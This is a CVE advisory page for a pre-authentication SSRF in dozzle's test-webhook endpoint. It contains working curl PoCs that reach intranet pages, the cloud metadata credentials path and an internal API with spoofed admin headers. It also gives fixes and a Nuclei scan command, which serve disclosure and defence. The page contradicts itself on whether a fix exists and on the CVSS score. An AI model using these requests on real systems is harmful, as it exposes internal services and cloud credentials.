Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-45298 — dozzle

HIGH

CVE-2026-45298 is a high-severity (CVSS 8.6) Server-Side Request Forgery (SSRF) vulnerability in github.com/amir20/dozzle. No vendor fix is recorded yet; mitigation options are listed below.

Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)

Also known asGHSA-3v9w-6365-9w54GO-2026-5101
Published
May 26, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 29, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45298.

EPSS Exploitation Probability

via FIRST.org ↗
1.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs75th percentile — riskier than 75% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-45298 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 380,526 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/amir20/dozzle

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

In a default dozzle deploy (the documented quickstart, no DOZZLE_AUTH_PROVIDER set), POST /api/notifications/test-webhook is reachable without authentication and forwards an attacker-controlled URL into a WebhookDispatcher that:

  • Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and
  • Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx.

This is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to — including private subnets, link-local cloud metadata, and loopback services.

Affected versions

internal/notification/dispatcher/webhook.go and internal/web/notifications.go at commit 581bab3a43ead84ea4d009a469a17af98fb3377f and earlier (the test-webhook handler has been in place since the notifications subsystem was added).

Default-deploy reachability chain

main.go:58-59           → enforces AuthProvider in {none, forward-proxy, simple}
support/cli/args.go:18  → AuthProvider default is "none"
main.go:231-243         → when AuthProvider == "none", web.AuthProvider stays at NONE
internal/web/routes.go:130-132, 137-138 → auth middleware only registered if Provider != NONE
internal/web/routes.go:172-188          → /api/notifications/* (incl. /test-webhook) is inside that conditional Group

So the default Quickstart deploy

docker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest

exposes POST /api/notifications/test-webhook to the network without any authentication.

The vulnerable handler

// internal/web/notifications.go:652-716
func (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {
    var input TestWebhookInput
    if err := json.NewDecoder(r.Body).Decode(&input); err != nil { ... }
    ...
    webhook, err := dispatcher.NewWebhookDispatcher("test", input.URL, templateStr, input.Headers)
    ...
    result := webhook.SendTest(r.Context(), mockNotification)
    ...
    writeJSON(w, http.StatusOK, &TestWebhookResult{
        Success:    result.Success,
        StatusCode: statusCode,
        Error:      errStr,
    })
}

input.URL and input.Headers are entirely user-controlled. No host/IP/scheme validation anywhere.

The reflection sink

// internal/notification/dispatcher/webhook.go:88-120
req, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))
...
for k, v := range w.Headers { req.Header.Set(k, v) }
...
resp, err := w.client.Do(req)
...
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
    limitedReader := io.LimitReader(resp.Body, 1024*1024)   // 1 MB
    responseBody, _ := io.ReadAll(limitedReader)
    ...
    return TestResult{
        Success:    false,
        StatusCode: resp.StatusCode,
        Error:      fmt.Sprintf("webhook returned status code %d: %s",
                                 resp.StatusCode, string(responseBody)),
    }
}

When the SSRF target returns non-2xx, up to 1 MB of response body becomes part of Error, which is then JSON-encoded back to the attacker.

PoC

A. Read intranet admin-panel response bodies (most common path)

Most internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.

curl -X POST -H "Content-Type: application/json" \
  -d '{"url":"http://192.168.1.1/admin/index.html","headers":{}}' \
  http://dozzle.example.com/api/notifications/test-webhook

Response shape (writeJSON to the public Internet):

{
  "Success": false,
  "StatusCode": 401,
  "Error": "webhook returned status code 401: <html><head>... full intranet HTML body, up to 1MB ...</html>"
}

B. Cloud IMDS reachability probe

curl -X POST -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","headers":{}}' \
  http://dozzle.example.com/api/notifications/test-webhook

If StatusCode == 200, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected.

C. Header injection downstream

curl -X POST -H "Content-Type: application/json" \
  -d '{
    "url":"http://internal-api.example.com:8080/admin/users",
    "headers":{"X-Forwarded-User":"admin","X-Real-IP":"127.0.0.1"}
  }' \
  http://dozzle.example.com/api/notifications/test-webhook

Suggested fix

  1. Refuse test-webhook when Authorization.Provider == NONE. This is an admin-configuration helper; it should not be reachable on a deploy that has no concept of admin.
  2. SSRF-harden WebhookDispatcher. Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT; pin http.Transport.DialContext to the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes.
  3. Stop reflecting response body. UX for "test webhook" only needs Success: bool, StatusCode: int.

Severity

  • CVSS 3.1: High — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N ≈ 7.5 in default no-auth deploy.
  • Auth: none in default deploy. With DOZZLE_AUTH_PROVIDER=simple configured, the same primitive is post-auth.

Reproduction environment

  • Tested against: amir20/dozzle:8.x Docker image (commit 581bab3a43ead84ea4d009a469a17af98fb3377f).
  • Code locations:
    • Handler: internal/web/notifications.go:652-716
    • Sink: internal/notification/dispatcher/webhook.go:88-120
    • Auth gate: internal/web/routes.go:130-138, 172-188
    • Default provider: internal/support/cli/args.go:18, main.go:231

Reporter

Eddie Ran. Filed via reporter API per dozzle's SECURITY.md.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/amir20/dozzleall versionsNo fix

Affected Products

1 product · 1 configurations
Application
dozzleamirraminfar
< 10.5.2
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/amir20/dozzle, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of github.com/amir20/dozzle has shipped for CVE-2026-45298 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

How to detect CVE-2026-45298

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id cve-2026-45298 -u https://target
Template
Dozzle - Server Side Request Forgery
Severity
high
Impact
Remote attackers can send arbitrary HTTP POST requests and retrieve response data, potentially exposing internal services or sensitive information.
Remediation
Update to version 10.5.2 or later.

Template by ProjectDiscovery nuclei-templates (theamanrawat), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

## Summary In a default dozzle deploy (the documented quickstart, no `DOZZLE_AUTH_PROVIDER` set), `POST /api/notifications/test-webhook` is reachable without authentication and forwards an attacker-controlled URL into a `WebhookDispatcher` that: - Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and - Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx. This is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to — including private subnets, link-local clou
O3 Security · Impact-Aware SCA

Is CVE-2026-45298 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-45298: dozzle SSRF (High 8.6) | O3 Security